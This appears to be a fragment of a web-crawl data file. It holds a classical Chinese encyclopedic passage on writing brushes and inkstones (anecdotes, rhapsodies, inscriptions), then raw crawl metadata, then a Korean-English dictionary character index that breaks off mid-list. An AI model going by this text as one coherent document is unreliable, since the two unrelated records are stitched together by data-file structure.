笔 耕 乎 . 事 具 人 部 .\n谢 承 后 汉 书 曰 . 王 充 于 宅 内 . 门 户 垆 柱 . 各 置 笔 砚 简 牍 . 见 事 而 作 . 着 论 衡 八 十 五 篇 .\n汉 官 仪 曰 . 尚 书 令 仆 丞 郎 . 月 给 赤 管 大 笔 双 . 篆 题 曰 . 北 工 作 楷 . 于 头 上 . 象 牙 寸 半 着 笔 下 .\n广 志 曰 . 汉 诸 郡 献 兔 毫 . 书 鸿 门 题 . 唯 赵 国 毫 中 用 .\n典 略 曰 . 王 粲 才 既 高 . 辩 论 应 机 . 钟 繇 王 朗 等 . 虽 各 为 魏 卿 相 . 至 于 朝 廷 奏 议 . 皆 阁 笔 . 不 敢 措 手 .\n魏 略 曰 . 王 思 为 大 司 徒 . 性 急 . 尝 执 笔 作 书 . 蝇 集 笔 端 . 驱 去 复 来 . 如 是 再 三 . 思 怒 . 自 起 逐 蝇 . 不 能 去 . ○ 去 字 原 缺 . 据 冯 校 本 补 . 还 取 笔 掷 地 . 蹋 坏 之 .\n魏 志 曰 . 甄 后 九 岁 . 喜 书 . 用 诸 兄 笔 . 或 非 之 . 后 曰 . 古 贤 女 皆 览 前 世 成 败 . 不 知 书 . 何 由 见 之 .\n魏 末 传 曰 . 夏 侯 太 初 见 召 . 还 洛 阳 . 绝 人 道 . 不 畜 笔 砚 .\n传 ○ 太 平 御 览 六 百 零 五 作 傅 . 子 曰 . 汉 末 . 一 笔 之 押 . 雕 以 黄 金 . 饰 以 和 璧 . 缀 以 随 珠 . 发 以 翡 翠 . 此 笔 非 文 犀 之 植 . 必 象 齿 之 管 . 丰 狐 之 柱 . 秋 兔 之 翰 . 用 之 者 必 被 朱 绣 之 衣 . 践 雕 玉 之 履 矣 .\n东 宫 旧 事 曰 . 皇 太 子 初 拜 . 给 漆 笔 四 枝 . 铜 博 山 笔 床 副 .\n【 诗 】 梁 简 文 帝 咏 笔 格 诗 曰 . 仰 出 写 含 花 . 横 插 学 仙 掌 . 行 因 提 拾 用 . 遂 厕 旋 台 赏 .\n梁 徐 擒 咏 笔 诗 曰 . 纤 端 奉 积 润 . 弱 质 散 芳 烟 . 直 写 飞 蓬 牒 . 横 承 落 绣 篇 . 一 逢 提 握 重 . 宁 忆 仲 升 捐 .\n【 赋 】 后 汉 蔡 邕 笔 赋 曰 . 惟 其 翰 之 . 所 生 . 于 季 冬 之 狡 兔 . 性 精 亟 以 摽 悍 . 体 遄 近 以 骋 步 . 削 文 竹 以 为 管 . 加 漆 系 之 缠 束 . 形 调 抟 以 直 端 . 染 玄 墨 以 定 色 . 书 干 坤 之 阴 阳 . 赞 三 皇 之 洪 勋 . 叙 五 帝 之 休 德 . 扬 荡 荡 之 典 文 . 纪 三 王 之 功 代 兮 . 表 八 百 之 肆 勤 . 传 六 经 而 辍 百 氏 兮 . 建 皇 极 而 序 彝 伦 . 综 人 事 于 晻 昧 兮 . 赞 幽 冥 于 神 明 . 象 类 多 喻 . 靡 施 不 协 . 上 刚 下 柔 . 干 坤 之 位 也 . 新 故 代 谢 . 四 时 之 次 也 . 圆 和 正 直 . 规 矩 之 极 也 . 玄 首 黄 管 . 天 地 之 色 也 .\n晋 傅 玄 笔 赋 曰 . 简 脩 毫 之 奇 兔 . 选 珍 皮 之 上 翰 . 濯 之 以 清 水 . 芬 之 以 幽 兰 . 嘉 竹 翠 色 . 彤 管 含 丹 . 于 是 班 匠 竭 巧 . 名 工 逞 术 . 缠 以 素 枲 . 纳 以 玄 漆 . 染 芳 松 之 淳 烟 . 写 文 象 于 纨 素 . 动 应 手 而 从 心 . 焕 光 流 而 星 布 .\n晋 成 公 绥 故 笔 赋 曰 . 有 仓 颉 之 奇 生 . 列 四 目 而 兼 明 . 慕 羲 氏 之 画 卦 . 载 万 物 于 五 行 . 乃 发 虑 于 书 契 . 采 秋 毫 之 类 芒 . 加 胶 漆 之 绸 缪 . 结 三 束 而 五 重 . 建 犀 角 之 玄 管 . 属 象 齿 于 纤 锋 . 染 青 松 之 微 烟 . 着 不 泯 之 永 踪 . 则 象 神 仙 . 人 皇 九 头 . 式 范 群 生 . 异 体 怪 躯 . 注 玉 度 于 七 经 . 训 河 洛 之 谶 纬 . 书 日 月 之 所 躔 . 别 列 宿 之 舍 次 . 乃 皆 是 笔 之 勋 . 人 日 用 而 不 寤 . ○ 自 一 零 四 七 页 三 行 第 十 字(将 字)起 . 至 此 止 . 宋 本 缺 . 据 明 本 补 . 仡 尽 力 于 万 机 . 卒 见 弃 于 行 路 .\n梁 吴 筠 笔 格 赋 曰 . 幽 山 之 桂 树 . 恒 萦 风 而 抱 雾 . 叶 委 郁 而 陆 离 . 根 纵 横 而 盘 互 . 尔 其 负 霜 含 液 . 枝 翠 心 赤 . 翦 其 片 条 . 为 此 笔 格 . 趺 则 岩 岩 方 爽 . 似 华 山 之 孤 上 . 管 则 员 员 峻 逸 . 若 九 疑 之 争 出 . 长 对 坐 而 衔 烟 . 永 临 窗 而 储 笔 .\n【 赞 】 晋 郭 璞 笔 赞 曰 . 上 古 结 绳 . 易 以 书 契 . 经 纬 天 地 . 错 综 群 艺 . 日 用 不 知 . 功 盖 万 世 .\n【 铭 】 后 汉 李 尤 笔 铭 曰 . 笔 之 强 志 . 庶 事 分 别 . 七 术 虽 众 . 犹 可 解 说 . 投 足 择 言 . 驷 不 及 舌 . 笔 之 过 误 . 愆 尤 不 灭 .\n魏 傅 选 笔 铭 曰 . 昔 在 上 古 . 结 绳 而 誓 . 降 及 后 载 . 易 以 书 契 . 书 契 之 兴 . 兴 自 颉 皇 . 肇 建 一 体 . 浸 遂 繁 昌 . 弥 纶 群 事 . 通 远 达 幽 . 垂 训 纪 典 . 匪 笔 靡 脩 . 寔 为 心 尽 . 臧 否 斯 由 . 厥 美 弘 大 . 置 类 鲜 畴 . 德 兴 之 着 . 惟 道 是 扬 . 苟 逞 其 违 . 祸 亦 无 方 .\n晋 王 隐 笔 铭 曰 . 岂 作 其 笔 . 必 兔 之 毫 . 调 利 难 秃 . 亦 有 鹿 毛 .\n【 启 】 梁 元 帝 谢 宫 ○ 全 梁 文 十 六 宫 上 有 东 字 . 赐 白 牙 镂 管 笔 启 曰 . 春 坊 漆 管 . 曲 降 深 恩 . 北 宫 象 牙 . 猥 蒙 沾 逮 . 雕 镌 精 巧 . 似 辽 东 之 仙 物 . 图 写 奇 丽 . 笑 蜀 郡 之 儒 生 . 故 知 嵇 赋 非 工 . 王 铭 未 善 . 昔 伯 偕 致 赠 . 才 属 友 人 . 葛 龚 所 酬 . 止 闻 通 识 . 岂 若 远 降 鸿 慈 . 曲 覃 庸 陋 . 方 觉 琉 璃 无 . 随 珠 过 侈 . 但 有 羡 卜 商 . 无 因 则 削 . 徒 怀 曹 植 . 恒 愿 执 鞭 .\n梁 庾 肩 吾 谢 赉 铜 砚 笔 格 启 曰 . 烟 磨 青 石 . 已 贱 孔 氏 之\n坛 . 管 抚 铜 龙 . 还 笑 王 生 之 璧 . 西 域 胡 人 . 卧 织 成 之 金\n簟 . 游 仙 童 子 . 隐 芙 蓉 之 行 鄣 . 莫 不 并 出 梁 园 . 来 颁 狭\n室 .\n汉 书 曰 . 宣 帝 时 . 中 郎 将 张 彭 祖 . 少 与 帝 微 时 同 席 砚 书 . 及 帝 即 位 . 彭 祖 以 旧 恩 . 封 阳 都 侯 . 出 常 参 乘 .\n又 曰 . 薛 宣 为 左 冯 翊 . 性 密 静 有 思 . 省 吏 职 . 求 其 便 安 . 下 至 财 用 笔 砚 . 皆 为 设 方 略 . 利 用 之 . 省 费 . 吏 民 称 之 .\n崔 寔 四 民 月 令 曰 . 正 月 砚 冻 释 . 命 童 幼 入 小 学 篇 章 . 十 一 月 砚 冻 . 幼 童 读 孝 经 论 语 .\n东 观 汉 记 曰 . 苏 竟 与 刘 歆 子 恭 书 云 . 前 世 以 磨 研 编 简 之 才 . 与 国 右 史 ○ 右 史 二 字 衍 . 公 从 事 出 入 .\n魏 武 帝 上 杂 物 疏 曰 . 御 物 有 纯 银 参 带 台 砚 一 枚 . 纯 银 参 带 员 砚 . 大 小 各 一 枚 .\n陈 留 志 曰 . 范 乔 年 两 岁 . 祖 父 馨 卒 . 临 终 . 抚 其 手 曰 . 恨 不 见 汝 成 人 . 以 吾 所 用 砚 与 之 . 始 五 岁 . 祖 母 以 此 言 告 乔 . 乔 便 执 砚 涕 泣 .\n东 宫 旧 事 曰 . 皇 太 子 初 拜 . 给 漆 石 砚 一 枚 .\n陆 云 与 兄 机 书 曰 . 君 苗 能 作 文 . 见 兄 文 . 辄 云 欲 烧 笔 砚 .\n从 征 记 曰 . 夫 子 床 前 有 石 砚 一 枚 . 作 甚 古 朴 . 盖 孔 子 生 平 时 物 也 .\n【 赋 】 晋 傅 玄 砚 赋 曰 . 采 阴 山 之 潜 朴 . 简 众 材 之 攸 宜 . 节 方 圆 以 定 形 . 锻 金 铁 以 为 池 . 设 上 下 之 剖 判 . 配 法 象 乎 二 仪 . 木 贵 其 能 软 . 石 美 其 润 坚 . 加 采 漆 之 胶 固 . 含 冲 德 之 清 玄 .\n【 赞 】 魏 繁 钦 赞 曰 . 班 采 散 色 . 沤 润 毫 芒 . 点 黛 文 字 . 曜 明 典 章 . 施 而 不 德 . 吐 惠 无 疆 . 渐 渍 甘 液 . 吸 受 流 芳 .\n【 铭 】 魏 王 粲 砚 铭 曰 . 昔 在 皇 颉 . 爰 初 书 契 . 以 代 结\n绳 . 民 察 官 理 . 庶 绩 诞 兴 . 在 世 季 末 . 华 藻 流 淫 . 文 不\n写 行 . 书 不 尽 心 . 淳 朴 浇 散 . 俗 以 崩 沉 . 墨 运 翰 藻 . 荣\n辱 是 若 . 念 兹 在 兹 . 惟 玄 是 宅 .\n梁 武 帝 砚 铭 .\n音 横 德 写\n假 墨 图 心\n梁 丘 迟 砚 铭 .\n图 水 平\n\\ │ \/\n壁 ─ ─ ─ ┼ ─ ─ ─ 迹\n\/ │ \\\n明 理 宣","id":"","dump":"CC-MAIN-2014-35","url":"http:\/\/www.chinapage.com\/gb\/literature\/ywgl009.htm","date":"2014-09-03T02:11:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-35\/segments\/1409535924131.19\/warc\/CC-MAIN-20140901014524-00131-ip-10-180-136-8.ec2.internal.warc.gz","language":"lzh","language_score":0.9649662971,"language_script":"Hani","minhash_cluster_size":26,"top_langs":"{\"lzh_Hani_score\": 0.9649662971496582, \"nan_Hani_score\": 0.02307381108403206, \"cmn_Hani_score\": 0.011974157765507698}","num_words":76326,"character_repetition_ratio":0.012,"word_repetition_ratio":0.001,"special_characters_ratio":0.587,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":0.97,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Korean-English Dictionary\neDocuLab Inc.\nKorean English Dictionary includes contemporary Korean words with Hanja words.\nDownload Glossary* Try our English to Korean Translator or Korean to English Translator for free online translation.\n* Search dictionary terms in our English Dictionary or Korean Dictionary.\nKorean-English Dictionary - Dictionary Index\nU ㄱ ㄴ ㄹ ㅂ 一 丁 七 丈 三 上 下 不 丑 且 世 丙 中 丸 丹 主 乃 久 乖 乘 乙 九 乞 乳 乾 事 二 于 互 五 井 亞 亡 亢 交 亥 亦 享 京 亭 人 什 仁 仇 今 介 仍 仔 他 付 仙 代 令 以 仰 仲 件 任 企 伊 伏 伐 休 伯 伴 伸 似 伽 但 位 低 住 何 佛 作 佩 佯 佳 使 例 侍 供 依 侮 侯 侵 便 係 促 俊 俎 俗 俚 保 俠 信 修 俯 俱 倂 倉 個 倍 倒 候 借 倦 倫 倭 假 偉 偏 偕 停 健 側 偵 偶 傍 傑 備 催 傭 傲 傳 債 傷 傾 僅 僞 僧 僭 價 僻 儀 億 儉 儒 償 優 儼 允 元 兄 充 兆 兇 先 光 克 免 兒 入 內 全 八 公 六 共 兵 其 具 典 兼 冊 再 冒 冕 冗 冠 冥 冬 冶 准 凍 凝 凡 凱 凶 凸 凹 出 函 刀 分 切 刊 刎 刑 列 初 判 別 利 刮 到 制 券 刺 刻 削 前 剔 剛 剝 剪 副 割 創 剽 劃 劇 劈 劍 力 功 加 劣 助 努 劫 勃 勅 勇 勉 動 勝 募 勢 勤 勳 勸 勿 包 化 北 匠 匡 匪 匹 區 十 千 午 半 卍 卑 卒 卓 協 南 博 卜 占 卯 印 危 却 卷 卽 厄 厚 原 厭 去 參 及 友 反 叔 取 受 叛 叢 口 古 句 叫 召 可 叱 史 右 司 各 合 吉 同 名 后 吐 向 君 吟 否 含 吳 吸 吹 吾 呈 告 周 呪 味 呼 命 咆 和 咬 咸 咽 哀 品 哄 員 哨 哭 哲 唐 唯 唱 唾 啄 商 問 啓 啞 喀 善 喉 喘 喚 喜 喝 喪 喫 單 嗅 嗚 嗜 嘉 嘔 嘲 器 噴 嚴 囊 囑 囚 四 回 因 困 固 圈 國 圍 園 圓 圖 團 土 在 地 均 坊 坐 坑 坦 坪 垂 型 埋 城 域 執 基 堂 堅 堆 堡 堤 堪 堰 報 場 塊 塑 塔 塗 塡 塵 境 墓 增 墨 墮 壁 壅 壇 壓 壙 壞 士 壬 壯 壽 夏 夕 外 夙 多 夜 夢 大 天 太 夫 夭 失 夾 奇 奉 奏 契 奔 套 奚 奠 奧 奪 奬 奮 女 奴 奸 好 如 妃 妄 妊 妓 妖 妙 妥 妬 妹 妻 妾 姉 始 姑 姓 委 姜 姦 姨 姪 姿 威 娑 娘 娛 娼 婆 婚 婢 婦 媒 媚 媤 嫉 嫌 嫡 嬌 子 孔 孕 字 存 孝 孟 季 孤 孫 孱 孵 學 宅 宇 守 安 完 宏 宗 官 定 客 宣 室 宥 宮 害 宴 家 宸 容 宿 寂 寃 寄 寅 密 富 寒 寓 寡 寢 寤 實 審 寫 寬 寵 寶 寸 寺 封 射 將 專 尊 尋 對 導 小 少 尖 尙 就 尸 尺 尾 尿 局 居 屆 屈 屋 屍 展 屠 層 履 屬 屯 山 岩 岳 峰 島 峻 峽 崇 崩 嶺 川 州 巡 工 左 巧 巨 巫 差 己 已 巳 巷 巽 巾 市 布 帆 希 帙 帝 師 席 帳 帶 常 帽 幅 幕 幣 干 平 年 幸 幹 幻 幼 幽 幾 床 序 底 店 庚 度 座 庫 庭 庵 庶 庸 廉 廛 廟 廢 廣 廳 延 建 廻 弊 式 弑 弓 弔 引 弗 弘 弟 弧 弩 弱 張 强 彈 彌 彎 彙 形 彩 彫 影 彷 役 彼 往 征 待 律 後 徒 得 從 御 復 微 徵 德 徹 心 必 忌 忍 志 忘 忙 忠 快 念 忽 忿 怏 怒 思 怠 怡 急 性 怨 怪 恐 恒 恝 恢 恣 恤 恥 恨 恩 恪 恬 恭 悅 悍 悔 悖 悚 悠 患 悤 悲 悽 情 惑 惜 惠 惡 惰 想 惶 惹 惻 愁 愉 意 愚 愛 感 慈 態 慘 慙 慢 慣 慧 慨 慰 慶 慾 憂 憑 憤 憲 懇 懈 應 懲 懷 懸 戀 戊 戌 成 我 戒 或 戰 戱 戴 戶 房 所 扁 扇 手 才 打 托 扮 扶 批 承 技 抄 把 抑 投 抗 折 抛 披 抱 抵 抹 押 抽 拂 拇 拍 拒 拔 拘 拙 招 拜 括 拳 拾 拿 持 指 按 挑 挫 振 挺 挽 挾 捕 捨 捲 捷 捺 掃 授 掌 排 掘 掛 採 探 接 控 推 掩 措 描 提 揖 揚 換 握 揭 揮 援 揷 損 搔 搖 搗 搜 搬 搭 携 搾 摘 摩 摺 撒 撞 撤 撥 播 撲 擁 擅 擇 擊 操 擔 擦 擧 擬 擲 擴 擾 攝 支 收 改 攻 放 政 故 效 敍 敎 敏 救 敗 敢 散 敦 敬 整 敵 敷 數 文 斑 斗 料 斜 斤 斥 斬 斯 新 斷 方 於 施 旋 族 旗 旣 日 早 旬 旱 昆 昇 明 昏 易 昔 星 映 春 昨 昭 是 昻 時 晝 晦 晩 普 景 晴 晶 智 暈 暑 暖 暗 暫 暮 暴 曆 曉 曝 曠 曰 曲 曳 更 書 曼 曾 替 最 會 月 有 朋 服 朔 望 朝 期 朦 木 未 末 本 朱 朽 李 杏 材 村 杖 杜 束 杭 東 松 板 枉 枕 林 枚 果 枝 枯 架 枸 某 染 柔 柱 柴 査 校 株 核 根 格 栽 桂 桃 案 桑 桿 梅 梗 條 梟 梯 梳 梵 棄 棉 棋 棍 棒 棘 棟 棧 森 棺 植 椽 椿 楊 楔 業 極 楷 榜 榮 榴 構 槍 槪 槿 樂 標 樞 模 樣 樵 樹 橄 橋 橘 橙 機 橫 檀 檢 檣 櫛 權 欌 欠 次 欣 欲 欺 欽 款 歇 歌 歎 歐 歡 止 正 此 步 武 歲 歷 歸 死 歿 殆 殉 殊 殖 殘 段 殷 殺 殿 毁 母 每 毒 比 毛 毫 氈 氏 民 氣 水 氷 永 氾 汁 求 汎 汗 汚 江 汲 決 汽 沃 沈 沐 沒 沙 沮 河 沸 油 治 沼 沿 泉 法 泛 泡 波 泣 泥 注 泰 洋 洗 洞 津 洪 活 洽 派 流 浦 浩 浮 浴 海 浸 消 涉 涕 液 淋 淑 淡 淨 淫 深 淳 混 淸 淺 添 渗 減 渟 渡 渦 測 港 渴 游 渺 渾 湖 湯 準 溢 溪 溫 溯 溶 滄 滅 滋 滑 滯 滿 漁 漂 漆 演 漕 漠 漢 漫 漸 漿 潔 潛 潤 潮 潰 激 濁 濃 濕 濟 瀆 瀉 瀑 灌 灣 火 灰 灸 災 炊 炎 炬 炭 炯 炸 烈 烏 烽 焉 焚 無 焦 然 煉 煎 煖 煙 煤 照 煩 煽 熔 熟 熱 燃 燈 燐 燒 燔 燕 營 燥 燦 燭 燻 爆 爪 爬 爭 爲 爵 父 爽 片 版 牙 牛 牝 牡 牧 物 特 牽 犀 犧 犬 犯 狀 狂 狐 狹 猖 猛 猜 猝 猥 猩 猫 猶 獄 獅 獐 獨 獰 獵 獸 獻 玄 率 玉 王 玩 珍 珠 班 現 球 理 琪 瑞 瑤 環 瓊 瓦 瓷 甕 甘 甚 生 産 用 田 由 甲 申 男 町 界 畏 畓 留 畜 畢 番 異 畵 當 畸 疆 疊 疎 疏 疑 疝 疥 疫 疲 疾 病 症 痔 痘 痛 痰 痲 瘡 瘦 療 癌 癒 癡 癲 癸 登 發 白 百 的 皆 皇 皓 皮 盆 益 盛 盜 盞 盟 盡 監 目 盲 直 相 省 眉 看 眞 眩 眷 眼 着 睡 督 睾 瞑 瞥 瞬 矛 矜 知 短 矮 矯 石 砂 砒 砲 破 硅 硏 硝 硬 硯 硼 碁 碎 碑 碧 碩 確 磁 磨 礁 示 社 祈 祖 祛 祝 神 祠 祥 票 祭 禁 禍 福 禪 禮 禾 禿 秀 私 秋 科 秒 秘 租 移 稀 稅 程 稗 稚 稟 種 稱 稻 稼 稿 穀 積 穩 穴 究 空 穿 突 窒 窓 窟 窮 竊 立 站 竝 章 童 竪 端 競 竹 笑 笞 符 第 筆 等 筋 筒 答 策 箇 算 管 箸 節 範 篆 築 篤 簇 簒 簡 簿 籌 籍 籤 米 粉 粗 粘 粟 粧 精 糊 糖 糞 糟 系 糾 紀 約 紅 紋 納 純 紗 紙 級 紛 素 紡 索 紫 紬 細 紳 紵 紺 終 絃 組 絆 結 絞 給 絨 統 絲 絶 絹 經 維 綱 網 綴 綸 綺 綿 緊 緖 緘 線 締 緣 編 緩 緯 縊 縣 縫 縮 縱 總 繁 織 繡 繫 繼 纂 續 纏 纖 缺 罔 罪 罫 置 罰 署 罷 罹 羊 美 羞 群 義 羽 翁 翌 習 翠 翡 翰 考 耆 耐 耕 耳 耽 聖 聘 聚 聞 聯 聰 聲 聳 職 聽 肅 肉 肌 肖 肝 股 肢 肥 肩 肯 育 肺 胃 背 胎 胚 胞 胡 胴 胸 能 脂 脈 脊 脚 脣 脫 脯 脹 脾 腋 腎 腐 腔 腕 腦 腫 腰 腸 腹 腺 膈 膏 膜 膝 膠 膣 膨 膵 膽 膾 膿 臆 臍 臟 臣 臥 臨 自 臭 至 致 臺 臼 與 興 舊 舌 舍 舞 舟 航 般 舵 舶 舷 船 艇 艦 艱 色 艶 芒 芝 花 芳 苔 苗 苛 若 苦 英 茅 茫 茶 草 荊 荒 荷 莊 莫 菊 菌 菜 菩 華 萌 萎 萬 葉 著 葛 葫 葬 葯 蒙 蒸 蒼 蓄 蓋 蓬 蔑 蔓 蔘 蔬 蕃 蕩 蕭 薄 薑 薦 薨 薰 藁 藉 藏 藝 藤 藥 藿 蘇 蘚 虎 虐 處 虛 虞 號 蛇 蛋 蛔 蜂 蜃 蜜 蝕 融 螢 蟄 蟲 蠶 蠻 血 衆 行 術 街 衙 衛 衝 衣 表 衰 衷 袖 袞 被 裁 裏 裕 補 裝 製 複 褐 褒 褓 襟 襲 西 要 覆 覇 見 規 視 親 覺 觀 角 解 觸 言 訃 計 討 訓 託 記 訛 訥 訪 設 許 訴 診 註 詐 詔 評 詞 詠 試 詩 詭 詰 話 該 詳 誅 誇 誌 認 誓 誕 誘 語 誠 誡 誣 誤 誦 說 誰 課 誹 調 談 請 諜 諡 諦 諧 諫 諭 諱 諷 諸 諺 謀 謄 謙 講 謝 謫 謬 謹 證 譏 識 譜 警 譯 議 護 讀 變 讒 讓 讖 讚 豁 豆 豊 豚 象 豪 豫 貝 貞 負 財 貢 貧 貨 販 貪 貫 責 貯 貰 貴 貶 買 貸 費 貼 貿 賀 賃 資 賊 賓 賜 賞 賠 賢 賣 賤 賦 質 賭 購 贅 贈 贊 贖 赤 赦 走 起 超 越 趣 趨 足 跆 跋 距 跳 踏 踰 蹄 蹴 躁 躍 身 車 軌 軍 軟 軸 載 輓 輔 輕 輝 輩 輪 輸 輻 輿 轉 轟 轢 辛 辦 辨 辭 辯 辰 辱 農 迂 迎 近 返 迫 述 迷 追 退 送 逃 逆 逍 透 逐 途 這 通 速 造 逢 連 週 進 逸 逼 遁 遂 遊 運 遍 過 道 達 違 遙 遞 遠 適 遭 遮 遲 遵 遷 選 遺 避 還 邊 邑 邦 邪 郡 部 郵 都 鄕 鄙 酉 酌 配 酒 酬 酵 酷 酸 醇 醉 醋 醜 醫 醬 醵 釀 釋 重 野 釐 金 針 釣 鈍 鉛 鉤 銀 銃 銅 銓 銘 銳 鋪 鋼 錚 錠 錢 錦 錫 錯 鍊 鍛 鍵 鍼 鍾 鎔 鎖 鎭 鏡 鐘 鐵 鑄 鑑 鑛 鑿 長 門 閃 閉 開 閏 閑 閒 間 閣 閤 閥 閨 閱 閻 闇 闊 闕 關 防 阻 阿 附 降 限 陞 院 陣 除 陪 陰 陳 陶 陷 陸 陽 隆 隊 階 隔 隕 際 障 隣 隨 險 隱 隻 雁 雄 雅 集 雇 雌 雙 雜 離 難 雨 雪 雰 雲 零 電 需 震 霖 霜 霧 靈 靑 靜 非 靡 面 革 靭 鞍 鞏 鞠 鞭 韓 音 韻 頂 頃 項 順 頌 預 頑 頓 領 頭 頸 頹 頻 題 額 顔 願 顚 類 顧 顯 風 飄 飛 飜 食 飢 飮 飯 飼 飽 養 餓 餘 餞 館 饌 饑 饒 饗 首 香 馬 馴 駐 駝 駿 騎 騙 騰 騷 驅 驍 驕 驚 驛 驟 骨 體 高 鬚 鬪 鬱 鬼 魁 魂 魅 魔 魚 鮮 鯨 鰍 鰥 鳥 鳩 鳳 鳴 鴨 鴻 鶴 鷄 鹹 鹽 麒 麥 麻 黃 黑 黔 默 點 黨 鼎 鼓 鼠 鼻 齊 齋 齒 齧 龍 가 각 간 갇 갈 갉 감 갑 값 갓 강 갖 같 갚 개 객 갠 갤 갭 갯 갱 갸 갹 걀 거 걱 건 걷 걸 검 겁 것 겅 겉 게 겠 겨 격 견 겯 결 겸 겹 겻 경 곁 계 곗 고 곡 곤 곧 골 곯 곰 곱 곳 공 곶 과 곽 관 괄 광 괘 괜 괴 굄 굉 교 구 국 군 굳 굴 굵 굶 굼 굽 굿 궁 궂 권 궐 궤 귀 귓 규 균 귤 그 극 근 글 긁 금 급 긍 기 긴 길 김 깁 깃 깊 까 깍 깎 깐 깔 깜 깝 깡 깨 깩 깰 깻 깽 꺄 꺅 꺼 꺽 꺾 껀 껄 껌 껍 껑 께 껴 꼬 꼭 꼰 꼴 꼼 꼽 꼿 꽁 꽂 꽃 꽈 꽉 꽝 꽥 꽹 꾀 꾸 꾹 꿀 꿇 꿈 꿉 꿋 꿍 꿜 꿩 꿰 꿱 끄 끈 끊 끌 끓 끔 끙 끝 끼 끽 낄 낑 나 낙 낚 난 낟 날 남 납 낫 낭 낮 낯 낱 낳 내 냄 냅 냇 냉 냠 너 넉 넋 넌 널 넓 넘 넙 넛 넝 네 넥 넨 넷 년 노 녹 논 놀 놈 놉 놋 농 높 놓 뇌 누 눅 눈 눌 눕 눙 뉘 뉴 느 늑 는 늘 늙 늠 늡 능 늦 니 닉 님 다 닥 닦 단 닫 달 닭 닳 담 답 닷 당 닿 대 댁 댄 댐 댓 댕 더 덕 던 덜 덤 덥 덧 덩 덮 데 덱 덴 델 뎅 도 독 돈 돋 돌 돔 돗 동 돛 돠 되 된 될 됨 됫 두 둔 둘 둥 뒈 뒤 뒵 뒷 뒹 듀 드 득 든 듣 들 듬 듭 듯 등 디 딜 딩 따 딱 딴 딸 땀 땅 때 땍 땔 땜 땟 땡 떠 떡 떨 떳 떵 떼 뗀 뗏 뗑 또 똑 똘 똥 똬 뙤 뚜 뚝 뚫 뚱 뛰 뜀 뜨 뜬 뜯 뜰 뜸 뜻 띄 띠 띳 띵 라 락 란 랑 래 랜 랩 러 럭 런 레 렌 려 련 렵 로 록 론 롤 롱 뢴 루 룰 룸 류 르 리 린 릴 립 링 마 막 만 많 맏 말 맑 맘 맙 맛 망 맞 맡 매 맥 맨 맴 맵 맷 맹 맺 머 먹 먼 멀 멈 멋 멍 메 멕 멘 멜 멤 멥 멧 며 멱 면 멸 명 몇 모 목 몫 몬 몰 몸 몹 못 몽 묏 묘 무 묵 묶 문 묻 물 묽 뭇 뭉 미 민 믿 밀 밉 밋 밍 밑 바 박 반 받 발 밝 밟 밤 밥 방 밭 배 백 밴 밸 뱀 뱁 뱃 뱅 뱌 뱐 뱝 버 벅 번 벋 벌 범 법 벗 벙 벚 베 벤 벨 벰 벼 벽 변 별 볏 병 볕 보 복 볶 본 볼 봄 봅 봇 봉 봐 부 북 분 불 붉 붐 붓 붕 붙 붚 브 블 비 빅 빈 빌 빕 빗 빙 빚 빛 빠 빡 빤 빨 빳 빵 빼 빽 뺑 뻐 뻔 뻗 뻘 뻣 뻥 뼈 뼘 뼛 뽀 뽈 뽐 뽑 뽕 뾰 뿌 뿐 뿔 뿡 쀼 삐 삑 삔 삘 삥 사 삭 산 살 삶 삼 삽 삿 상 샅 새 색 샌 샐 샘 샛 생 샤 샴 샹 섀 서 석 섞 섟 선 섣 설 섬 섭 섯 성 세 섹 센 셀 셈 셋 셍 셔 셧 셰 소 속 솎 손 솔 솜 솟 송 솥 쇄 쇠 쇳 쇼 수 숙 순 숟 술 숨 숫 숭 숯 숱 숲 쉬 쉰 쉽 슈 슛 스 슬 습 승 시 식 신 실 싫 심 십 싯 싱 싶 싸 싹 싼 쌀 쌈 쌉 쌍 쌓 쌔 쌕 쌜 쌩 써 썩 썰 썸 쏘 쏙 쏟 쏠 쐐 쑤 쑥 쑬 쓰 쓱 쓴 쓸 쓿 씀 씁 씌 씨 씩 씰 씹 씻 씽 아 악 안 앉 않 알 앓 암 압 앗 앙 앞 애 액 앤 앰 앳 앵 야 약 얄 얇 얌 양 얕 어 억 언 얹 얻 얼 얽 엄 업 없 엇 었 엉 엊 엎 에 엑 엔 엘 엠 엥 여 역 엮 연 열 엷 염 엽 엿 영 옆 예 옛 옜 오 옥 온 올 옭 옮 옳 옴 옷 옹 옻 와 왁 완 왈 왔 왕 왜 왝 왱 외 왼 욋 요 욕 욧 용 우 욱 운 울 욹 움 웃 웅 워 웍 원 월 웨 웩 웬 웰 위 윈 윔 윗 윙 유 육 윤 율 융 윷 으 윽 은 을 읊 음 읍 응 의 이 익 인 일 읽 잃 임 입 잇 있 잉 잊 잎 자 작 잔 잗 잘 잠 잡 잣 장 잦 재 잭 잼 잽 잿 쟁 저 적 전 절 젊 점 접 젓 정 젖 제 젠 젤 젯 젱 조 족 존 졸 좀 좁 종 좆 좋 좌 좍 좨 죄 죔 주 죽 준 줄 줌 중 쥐 쥘 즈 즉 즐 즙 증 지 직 진 질 짊 짐 집 짓 징 짙 짚 짜 짝 짠 짤 짧 짬 짭 짯 짱 째 짹 쨍 쩌 쩍 쩔 쩝 쩡 쩨 쩽 쪼 쪽 쫀 쫄 쫑 쫓 쭈 쭉 쭐 쭝 찌 찍 찐 찔 찜 찝 찡 찢 차 착 찬 찰 참 찹 찻 창 찾 채 책 챔 챗 챙 처 척 천 철 첨 첩 첫 청 체 쳇 쳐 초 촉 촌 촐 촘 촛 총 촬 최 추 축 춘 출 충 췌 취 측 츱 층 치 칙 친 칠 칡 침 칩 칭 카 칵 칸 칼 캄 캐 캑 캔 캘 캠 캡 캥 컁 커 컨 컬 컴 컹 케 켄 켈 켕 켜 코 콕 콘 콜 콤 콧 콩 콰 쾅 쾌 쾨 쿠 쿨 쿵 퀘 퀭 퀴 큐 크 큰 클 큼 키 킥 킨 킬 킷 킹 타 탁 탄 탈 탐 탑 탓 탕 태 택 탤 탬 탭 탯 탱 터 턱 턴 털 텀 텁 텃 텅 테 텍 텐 텔 템 토 톡 톤 톱 톳 통 퇴 툇 투 툭 툰 툴 툽 퉁 튀 튜 트 특 튼 틀 틈 티 틴 팀 팅 파 팍 판 팔 팜 팟 팡 팥 패 팬 팸 팽 퍅 퍼 퍽 펀 펄 펌 펑 페 펜 펠 펩 펫 펴 편 펼 폄 평 폐 